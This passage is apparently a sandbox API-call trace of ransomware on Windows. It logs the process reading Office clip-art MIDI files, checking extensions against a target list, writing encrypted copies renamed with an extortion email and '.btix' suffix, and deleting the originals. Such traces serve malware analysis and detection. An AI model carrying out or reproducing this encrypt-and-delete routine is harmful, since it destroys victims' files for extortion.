lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x2950, lpOverlapped=0x0) returned 1 [0136.225] ReadFile (in: hFile=0x548, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.225] WriteFile (in: hFile=0x42c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.225] SetEndOfFile (hFile=0x42c) returned 1 [0136.226] CloseHandle (hObject=0x42c) returned 1 [0136.226] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.226] SetEndOfFile (hFile=0x548) returned 1 [0136.228] CloseHandle (hObject=0x548) returned 1 [0136.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0136.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0136.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0136.229] lstrlenW (lpString=".doc") returned 4 [0136.229] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.229] lstrlenW (lpString=".docx") returned 5 [0136.229] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.229] lstrlenW (lpString=".pdf") returned 4 [0136.229] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.229] lstrlenW (lpString=".xls") returned 4 [0136.229] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.229] lstrlenW (lpString=".xlsx") returned 5 [0136.229] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.229] lstrlenW (lpString=".ppt") returned 4 [0136.229] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0136.229] lstrlenW (lpString=".zip") returned 4 [0136.229] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.229] lstrlenW (lpString=".rar") returned 4 [0136.229] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.229] lstrlenW (lpString=".bz2") returned 4 [0136.229] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.229] lstrlenW (lpString=".7z") returned 3 [0136.229] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0136.229] lstrlenW (lpString=".dbf") returned 4 [0136.229] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0136.230] lstrlenW (lpString=".1cd") returned 4 [0136.230] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0136.230] lstrlenW (lpString=".jpg") returned 4 [0136.230] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0136.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0136.230] lstrlenW (lpString=".doc") returned 4 [0136.230] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.230] lstrlenW (lpString=".docx") returned 5 [0136.230] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.230] lstrlenW (lpString=".pdf") returned 4 [0136.230] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.230] lstrlenW (lpString=".xls") returned 4 [0136.230] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.230] lstrlenW (lpString=".xlsx") returned 5 [0136.230] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.230] lstrlenW (lpString=".ppt") returned 4 [0136.230] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0136.230] lstrlenW (lpString=".zip") returned 4 [0136.230] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.230] lstrlenW (lpString=".rar") returned 4 [0136.230] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.230] lstrlenW (lpString=".bz2") returned 4 [0136.230] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.230] lstrlenW (lpString=".7z") returned 3 [0136.230] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0136.230] lstrlenW (lpString=".dbf") returned 4 [0136.230] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0136.231] lstrlenW (lpString=".1cd") returned 4 [0136.231] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0136.231] lstrlenW (lpString=".jpg") returned 4 [0136.231] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.231] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.231] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0136.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.231] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=7567) returned 1 [0136.231] CloseHandle (hObject=0x548) returned 1 [0136.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220 [0136.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.232] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.232] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0136.233] GetLastError () returned 0x0 [0136.233] ReadFile (in: hFile=0x548, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0136.265] WriteFile (in: hFile=0x42c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x1d90, lpOverlapped=0x0) returned 1 [0136.266] ReadFile (in: hFile=0x548, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.266] WriteFile (in: hFile=0x42c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.266] SetEndOfFile (hFile=0x42c) returned 1 [0136.266] CloseHandle (hObject=0x42c) returned 1 [0136.266] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.267] SetEndOfFile (hFile=0x548) returned 1 [0136.269] CloseHandle (hObject=0x548) returned 1 [0136.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0136.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0136.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0136.596] lstrlenW (lpString=".doc") returned 4 [0136.596] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.596] lstrlenW (lpString=".docx") returned 5 [0136.596] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.596] lstrlenW (lpString=".pdf") returned 4 [0136.596] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.596] lstrlenW (lpString=".xls") returned 4 [0136.596] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.596] lstrlenW (lpString=".xlsx") returned 5 [0136.596] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.596] lstrlenW (lpString=".ppt") returned 4 [0136.596] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0136.596] lstrlenW (lpString=".zip") returned 4 [0136.596] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.596] lstrlenW (lpString=".rar") returned 4 [0136.596] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.596] lstrlenW (lpString=".bz2") returned 4 [0136.596] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.596] lstrlenW (lpString=".7z") returned 3 [0136.596] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0136.596] lstrlenW (lpString=".dbf") returned 4 [0136.596] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0136.597] lstrlenW (lpString=".1cd") returned 4 [0136.597] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0136.597] lstrlenW (lpString=".jpg") returned 4 [0136.597] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0136.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0136.597] lstrlenW (lpString=".doc") returned 4 [0136.597] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.597] lstrlenW (lpString=".docx") returned 5 [0136.597] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.597] lstrlenW (lpString=".pdf") returned 4 [0136.597] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.597] lstrlenW (lpString=".xls") returned 4 [0136.597] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.597] lstrlenW (lpString=".xlsx") returned 5 [0136.597] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.597] lstrlenW (lpString=".ppt") returned 4 [0136.597] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0136.597] lstrlenW (lpString=".zip") returned 4 [0136.597] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.597] lstrlenW (lpString=".rar") returned 4 [0136.597] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.597] lstrlenW (lpString=".bz2") returned 4 [0136.597] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.597] lstrlenW (lpString=".7z") returned 3 [0136.597] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0136.597] lstrlenW (lpString=".dbf") returned 4 [0136.597] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0136.597] lstrlenW (lpString=".1cd") returned 4 [0136.597] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0136.598] lstrlenW (lpString=".jpg") returned 4 [0136.598] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.598] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.598] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0136.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0136.599] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=6880) returned 1 [0136.599] CloseHandle (hObject=0x430) returned 1 [0136.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220 [0136.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0136.599] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.600] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0136.600] GetLastError () returned 0x0 [0136.600] ReadFile (in: hFile=0x430, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x1ae0, lpOverlapped=0x0) returned 1 [0136.608] WriteFile (in: hFile=0x544, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x1af0, lpOverlapped=0x0) returned 1 [0136.609] ReadFile (in: hFile=0x430, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.609] WriteFile (in: hFile=0x544, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.609] SetEndOfFile (hFile=0x544) returned 1 [0136.820] CloseHandle (hObject=0x544) returned 1 [0136.821] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.821] SetEndOfFile (hFile=0x430) returned 1 [0136.846] CloseHandle (hObject=0x430) returned 1 [0136.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 1 [0136.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0136.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0136.847] lstrlenW (lpString=".doc") returned 4 [0136.847] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.847] lstrlenW (lpString=".docx") returned 5 [0136.847] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.847] lstrlenW (lpString=".pdf") returned 4 [0136.847] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.847] lstrlenW (lpString=".xls") returned 4 [0136.847] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.847] lstrlenW (lpString=".xlsx") returned 5 [0136.847] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.847] lstrlenW (lpString=".ppt") returned 4 [0136.847] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0136.847] lstrlenW (lpString=".zip") returned 4 [0136.847] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.847] lstrlenW (lpString=".rar") returned 4 [0136.847] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.847] lstrlenW (lpString=".bz2") returned 4 [0136.848] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.848] lstrlenW (lpString=".7z") returned 3 [0136.848] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0136.848] lstrlenW (lpString=".dbf") returned 4 [0136.859] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0136.859] lstrlenW (lpString=".1cd") returned 4 [0136.859] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0136.859] lstrlenW (lpString=".jpg") returned 4 [0136.859] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0136.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0136.859] lstrlenW (lpString=".doc") returned 4 [0136.859] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.859] lstrlenW (lpString=".docx") returned 5 [0136.859] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.859] lstrlenW (lpString=".pdf") returned 4 [0136.859] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.859] lstrlenW (lpString=".xls") returned 4 [0136.859] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.859] lstrlenW (lpString=".xlsx") returned 5 [0136.859] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.859] lstrlenW (lpString=".ppt") returned 4 [0136.859] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0136.859] lstrlenW (lpString=".zip") returned 4 [0136.859] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.859] lstrlenW (lpString=".rar") returned 4 [0136.859] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.859] lstrlenW (lpString=".bz2") returned 4 [0136.859] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.860] lstrlenW (lpString=".7z") returned 3 [0136.860] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0136.860] lstrlenW (lpString=".dbf") returned 4 [0136.860] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0136.860] lstrlenW (lpString=".1cd") returned 4 [0136.860] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0136.860] lstrlenW (lpString=".jpg") returned 4 [0136.860] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.860] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.860] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0136.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0136.863] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=5440) returned 1 [0136.863] CloseHandle (hObject=0x430) returned 1 [0136.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 0x220 [0136.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0136.864] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.864] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0136.864] GetLastError () returned 0x0 [0136.864] ReadFile (in: hFile=0x430, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x1540, lpOverlapped=0x0) returned 1 [0136.874] WriteFile (in: hFile=0x54c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x1550, lpOverlapped=0x0) returned 1 [0136.875] ReadFile (in: hFile=0x430, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.875] WriteFile (in: hFile=0x54c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, 